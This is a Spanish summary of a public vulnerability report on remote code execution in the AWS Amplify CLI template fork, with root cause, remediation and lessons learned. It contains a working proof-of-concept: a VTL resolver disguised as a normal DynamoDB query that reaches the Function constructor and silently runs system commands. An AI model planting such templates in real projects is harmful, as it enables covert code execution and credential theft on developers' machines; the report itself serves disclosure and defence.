Reports
ALTA[RCE]#3897236

RCE en AWS Amplify CLI: una plantilla VTL maliciosa llega al constructor Function

El fork de velocityjs que publica Amazon resuelve propiedades sin filtrar la cadena de prototipos. Una plantilla .vtl trucada alcanza el constructor Function y ejecuta comandos del sistema al correr `amplify mock api`.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El paquete npm amplify-velocity-template, publicado por Amazon, es un fork de velocityjs que usa @aws-amplify/amplify-appsync-simulator para renderizar plantillas de resolución VTL cuando se ejecuta amplify mock api. El problema es que ese fork nunca incorporó las protecciones de la cadena de prototipos que la librería original sí añadió.

La resolución de propiedades de objetos se hace con un acceso directo baseRef[id], sin ningún filtro. Cualquiera que controle un fichero .vtl puede recorrer la cadena de prototipos hasta llegar al constructor Function y, desde ahí, ejecutar comandos arbitrarios del sistema operativo con los privilegios de quien corre la herramienta.

El reporte está clasificado como Code Injection y severidad high. Afecta a amplify-velocity-template 1.4.17, @aws-amplify/amplify-appsync-simulator 2.16.20 y, por dependencia, a @aws-amplify/cli.

Causa raíz

El fichero amplify-velocity-template/src/compile/references.js resuelve las propiedades sin ninguna comprobación:

} else if (type === 'property') {
    ret = baseRef[id];  // sin guarda: resuelve constructor, __proto__, etc.
}

Como no se filtra nada, también quedan accesibles las propiedades heredadas. Eso permite encadenar {}.toString().constructor.constructor, que desemboca directamente en el constructor Function. El velocityjs original añadió una lista de denegación de la cadena de prototipos en su versión 2.1.6; el fork de AWS no la trajo de vuelta.

Pasos de reproducción

En cualquier máquina con Node.js instalado, se prepara un proyecto con las versiones afectadas:

mkdir vtl-rce && cd vtl-rce && npm init -y
npm install [email protected] @aws-amplify/[email protected]

Se crea un fichero poc.js que reproduce la misma ruta de código que sigue amplify mock api: la plantilla VTL aparenta ser un mapeo normal de GetItem de DynamoDB, pero esconde la carga útil dentro de una asignación #set.

const { VelocityTemplate } = require('@aws-amplify/amplify-appsync-simulator');
const fs = require('fs');

// Plantilla VTL maliciosa -- parece un mapeo GetItem normal de DynamoDB
const VTL = [
  '## AppSync Request Mapping -- Query.getUser',
  '#set($userId = $context.arguments.id)',
  '#set($x = {})',
  '#set($log = $x.toString().constructor.constructor.call($x,',
  '  "var cp = process.mainModule.require(\'child_process\');',
  '   var r = cp.execSync(\'id && hostname && uname -a\').toString();',
  '   process.mainModule.require(\'fs\').writeFileSync(\'/tmp/amplify-rce-proof\', r);',
  '   return r"',
  ').call($x))',
  '{',
  '  "version": "2017-02-28",',
  '  "operation": "GetItem",',
  '  "key": { "id": { "S": "$userId" } }',
  '}',
].join('\n');

try { fs.unlinkSync('/tmp/amplify-rce-proof'); } catch {}

// Misma ruta que AmplifyAppSyncSimulator.init() -> new VelocityTemplate(content)
var vtl = new VelocityTemplate(
  { content: VTL, path: 'resolvers/Query.getUser.req.vtl' },
  { appSyncConfig: { defaultAuthenticationType: { authenticationType: 'API_KEY' } } },
);

// Construye un nodo AST de GraphQL con el propio módulo del simulador
var graphql = require(require.resolve('graphql', {
  paths: [require.resolve('@aws-amplify/amplify-appsync-simulator')],
}));
var doc = graphql.parse('{ getUser(id: "user-123") { id name } }');
var fieldNode = doc.definitions[0].selectionSet.selections[0];

// Misma llamada que AppSyncUnitResolver.resolve() -> requestTemplate.render()
console.log('[1] Rendering VTL template...');
var result = vtl.render(
  { arguments: { id: 'user-123' }, source: {}, stash: {}, result: null },
  { requestAuthorizationMode: 'API_KEY', headers: {}, sourceIp: '127.0.0.1' },
  { fieldName: 'getUser', fieldNodes: [fieldNode], parentType: 'Query', variableValues: {}, fragments: {} },
);
console.log('[2] Resolver output:', JSON.stringify(result.result));

if (fs.existsSync('/tmp/amplify-rce-proof')) {
  console.log('[3] RCE CONFIRMED -- /tmp/amplify-rce-proof contents:');
  console.log(fs.readFileSync('/tmp/amplify-rce-proof', 'utf8'));
  fs.unlinkSync('/tmp/amplify-rce-proof');
}

Se ejecuta con:

node poc.js

El resolver devuelve un JSON de DynamoDB perfectamente válido y no se registra ningún error, pero los comandos id, hostname y uname -a se han ejecutado en silencio y han escrito su salida en /tmp/amplify-rce-proof:

[1] Rendering VTL template...
[2] Resolver output: {"version":"2017-02-28","operation":"GetItem","key":{"id":{"S":"user-123"}}}
[3] RCE CONFIRMED -- /tmp/amplify-rce-proof contents:
[REDACTADO] gid=20(staff) groups=20(staff),12(everyone)...
[REDACTADO]
Darwin [REDACTADO] 25.5.0 Darwin Kernel Version 25.5.0 ... arm64

El escenario de ataque realista que describe el reporte es: un atacante coloca el .vtl malicioso en un proyecto Amplify (vía pull request, fork o push directo); un desarrollador clona el repositorio y ejecuta amplify mock api; cualquier consulta GraphQL dispara el renderizado de la plantilla, y la carga útil corre con los privilegios del desarrollador. Como la plantilla parece un resolver de AppSync normal y sigue devolviendo JSON correcto, no hay señales de que algo vaya mal.

Impacto

Se trata de ejecución remota de código en la máquina del desarrollador (o del runner de CI). El reporte detalla qué puede conseguir el atacante con esa ejecución:

  • Robo de credenciales de AWS: quien usa Amplify casi siempre tiene credenciales configuradas en ~/.aws/credentials o en variables de entorno; robarlas da acceso a su cuenta de AWS.
  • Robo de claves SSH: ~/.ssh/id_rsa abre el acceso a sus repositorios de GitHub/GitLab y a cualquier infraestructura accesible por SSH.
  • **Robo de tokens de npm**: con ~/.npmrc se pueden publicar paquetes maliciosos bajo la cuenta npm de la víctima (escalada a ataque de cadena de suministro).
  • Puerta trasera persistente: fs.writeFileSync permite dejar una shell inversa, una tarea cron o un perfil de shell modificado.
  • Compromiso de CI/CD: si amplify mock api se ejecuta en integración continua, el atacante obtiene las credenciales de CI y puede saltar a producción.

Remediación

La recomendación del reporte es incorporar al fork la protección prototype-guard.ts del velocityjs original (versión 2.1.6), o bien sustituir la resolución de propiedades de references.js (getAttributes, getPropMethod, getPropIndex) por una lista de permitidos. En concreto: resolver una propiedad solo cuando Object.prototype.hasOwnProperty.call(baseRef, key) sea cierto, o cuando la clave figure en una lista explícita de métodos integrados seguros.

Qué aprender de este caso

  • Cuando mantengas un fork de una librería, revisa qué parches de seguridad ha publicado el proyecto original después de la bifurcación: aquí el fallo es exactamente la guarda de prototipos que velocityjs añadió en la 2.1.6 y que el fork de AWS nunca trajo. Un git log comparando ambos árboles habría destapado la diferencia.
  • Cualquier baseRef[id] donde id proceda de entrada externa es sospechoso: si no se filtra, constructor, __proto__ y constructor.constructor abren el camino al constructor Function y, con él, a ejecutar código. Al resolver propiedades dinámicas, usa Object.prototype.hasOwnProperty.call() o una lista de permitidos en vez del acceso directo con corchetes.
  • Los ficheros de plantilla (.vtl, y en general cualquier plantilla de un motor de terceros) son entrada ejecutable, no datos inertes: trátalos como código no confiable cuando entren por un pull request o un fork, y desconfía de herramientas de desarrollo local como amplify mock api que renderizan contenido del repositorio con los permisos de tu usuario.